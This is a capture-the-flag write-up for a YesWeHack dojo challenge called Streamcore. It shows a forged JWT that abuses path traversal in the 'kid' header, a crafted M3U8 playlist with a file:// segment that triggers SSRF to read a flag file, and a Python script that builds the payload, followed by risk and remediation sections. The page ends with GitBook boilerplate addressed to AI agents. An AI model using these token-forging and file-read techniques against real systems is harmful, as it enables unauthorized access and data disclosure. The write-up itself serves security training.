> For the complete documentation index, see [llms.txt](https://cl4nd3st1ne.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cl4nd3st1ne.gitbook.io/write-ups/yeswehack-dojos/dojo-52-streamcore.md).

# Dojo #52 - Streamcore

This challenge is solved by chaining broken JWT verification logic and SSRF via lack of sanitisation of M3U8 file content.

We are given an application which accepts a certain type of file (having .m3u8 extension) for HTTP Live Streaming.&#x20;

> An [**M3U8 file**](https://www.ottclouds.com/guide-to-m3u8-files/) is a UTF-8 encoded playlist file commonly used in **HTTP Live Streaming (HLS)** to deliver video and audio content over the internet. Instead of storing the media itself, an M3U8 file contains a list of media segment URLs or other playlists, guiding a player on how to stream the content in sequence.&#x20;

The Streamcore platform accepts a JSON object containing 3 things - the file name, its contents, and a JWT. This input passes through a WAF which performs some character checks and then URL-encodes the input.

Our purpose, as usual, is to read the flag. In this case, it is stored at `/tmp/flag.txt`.

The vulnerability involves a multi-stage exploit chain starting with a path traversal in the JWT verification logic, where the kid (Key ID) header is unsafely concatenated into a file path, allowing us to point the secret key reference to the project's README file. By utilising the known, static contents of the README as the HMAC secret, a forged JWT can be successfully signed to gain unauthorised access. Following this authentication bypass, a secondary vulnerability is exploited in the M3U8 parser, which lacks input sanitisation and URI scheme filtering for media segments. This allows us to inject a `file://` URI into a crafted M3U8 file, triggering a Server-Side Request Forgery (SSRF) that enables a local file read to retrieve the flag.

Attack Chain:

1. **Authentication bypass via user-controlled JWT secret:** The kid in the JWT header is directly used to construct the file path of the secret key used for verification. Since the README's contents are known from the setup code, I signed a custom JWT containing the `isadmin` claim using the README as the secret. By pointing the kid to that same file, I forced the server to verify my forged token against the very secret I used to sign it.
2. **SSRF:** The lack of validation of the contents of the M3U8 file allowed me to provide a file URL for one of the segments, thus leaking the flag.

### Exploitation

#### Step 1: Bypassing JWT-Based Authentication

Before we can get on with SSRF, we need to pass the following check:

{% code overflow="wrap" %}

```
claims = verify_token(token)
if not claims.get("isadmin"):
    raise PermissionError("admin token required")
```

{% endcode %}

&#x20;We need to provide a valid JWT in order to prove we have the admin rights to run the Streamcore application.

The `verify_token()` function is as follows:

{% code overflow="wrap" %}

```
def verify_token(token: str) -> dict:
    header = jwt.get_unverified_header(token)
    kid = header.get("kid")
    key = load_key(kid)
    return jwt.decode(token, key, algorithms=["HS256"])
```

{% endcode %}

It is noteworthy that the JWT is being verified and decoded according to the HS256 algorithm, and the key used for this is chosen according to the content of the `kid` header in the JWT. Looking at how it is being loaded:

{% code overflow="wrap" %}

```
def load_key(kid: str) -> bytes:
    with open(f"/tmp/keys/{kid}.txt", "rb") as f:
        return f.read()
```

{% endcode %}

The `kid` value is passed directly into the path being read. Thus, if we provide a path containing `../` sequences, it will be resolved. This basically gives us control over the JWT secret because we can force the server to use a key we already know.

However, we still need to know a file on the target system in order to use it as the secret key. Looking at the setup code, we can see that a README file is being created programmatically:

{% code overflow="wrap" %}

```
with open("/tmp/README.txt", "w") as f:
    f.write("streamcore is a new project developed to handle u3m8 files more easily.")
```

{% endcode %}

If we keep the kid as `../README`, the application will load the file `/tmp/keys/../README.txt` as the key, which resolves to  `/tmp/README.txt`. We can now forge the JWT like this:

<figure><img src="/files/bqshEhOCH6WuniU6DieG" alt=""><figcaption></figcaption></figure>

#### Step 2: SSRF

The M3U8 file has a structure like this:

{% code overflow="wrap" %}

```
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:10
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
segment0.ts
#EXT-X-ENDLIST
```

{% endcode %}

On searching, we will find that one of the most common vulnerabilities with these files is SSRF because they contain lists of URIs pointing to video chunks, audio tracks, or external sub-playlists which the server tries to fetch.

We need to simply provide a URL in one of the segments. in our case, a file URL is most apt.

{% code overflow="wrap" %}

```
#EXTINF:10.0,
file:///tmp/flag.txt
```

{% endcode %}

### Proof of Concept

I used the following script to obtain the input in the expected format:

{% code overflow="wrap" %}

```python
import json

# M3U8 content
m3u8_content = """#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:10
#EXTINF:10.0,
file:///tmp/flag.txt
#EXTINF:10.0,
segment0.ts
#EXTINF:10.0,
segment1.ts
#EXT-X-ENDLIST"""

# Construct the dictionary
data = {
    "filename": "stream",
    "content": m3u8_content,
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.2Vto9Pu0mEwEbJYsIqX_rSOPrGdgS1JQuzAq0H5fRC0"
}
# Convert to JSON
json_payload = json.dumps(data)
print(json_payload)
```

{% endcode %}

Result:&#x20;

{% code overflow="wrap" %}

```
{"filename": "stream", "content": "#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-TARGETDURATION:10\n#EXTINF:10.0,\nfile:///tmp/flag.txt\n#EXTINF:10.0,\nsegment0.ts\n#EXTINF:10.0,\nsegment1.ts\n#EXT-X-ENDLIST", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.2Vto9Pu0mEwEbJYsIqX_rSOPrGdgS1JQuzAq0H5fRC0"}
```

{% endcode %}

### Risk

#### Risk for the Application

* **Complete Administrative Takeover**: Attackers can bypass authentication entirely by forging administrative tokens, gaining full control over functions restricted to privileged users.
* **Arbitrary File Disclosure**: The combination of path traversal and SSRF allows for the unauthorized reading of sensitive local system files (e.g., /etc/shadow, configuration files, or source code) and internal network resources.
* **Internal Network Pivoting**: The application can be used as a proxy to scan and attack other isolated services within the internal network that are not exposed to the public internet.

Risk for Users

* **Exposure of Personal Data**: If the application stores user data, an attacker with administrative access can exfiltrate databases or PII (Personally Identifiable Information).
* **Service Unavailability**: Attackers could potentially overwrite or delete critical local files via the file-writing logic, leading to application crashes and denial of service for legitimate users.
* **Account** **Compromise**: Forged tokens could be used to impersonate specific users, leading to unauthorized access to private accounts and sensitive user-specific content.

Risk for the Company

* **Cloud Infrastructure Breach**: If hosted in a cloud environment (AWS/GCP/Azure), the SSRF can be used to steal temporary credentials from the metadata service, potentially leading to a total compromise of the company’s cloud account.
* **Legal and Regulatory Penalties**: Data breaches involving PII can trigger heavy fines under regulations such as GDPR or CCPA, along with mandatory disclosure requirements and legal litigation.
* **Reputational and Financial Loss**: A public security breach of this severity results in a loss of customer trust, decreased brand value, and significant costs associated with incident response and remediation.

### Remediation

#### **Fix JWT Handling**

* Do not use user-controlled `kid` for file paths.
* If you must use `kid`, map it against a hard-coded dictionary or a secure database of allowed keys.
* If you must load from disk, ensure the kid does not contain `..` or `/` (`use os.path.basename()`). Check if the resulting path starts with the intended directory (`/tmp/keys/`) to prevent traversal.
* Use a single strong secret stored in environment variables or a dedicated Key Management Service (KMS) rather than loading various text files.

#### **Prevent SSRF**

* Configure Streamlink to only allow specific, safe protocols.
* Parse the content of the M3U8 file before passing it to Streamlink. Use a regex or a proper M3U8 parser to ensure all URLs point to approved domains.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://cl4nd3st1ne.gitbook.io/write-ups/yeswehack-dojos/dojo-52-streamcore.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
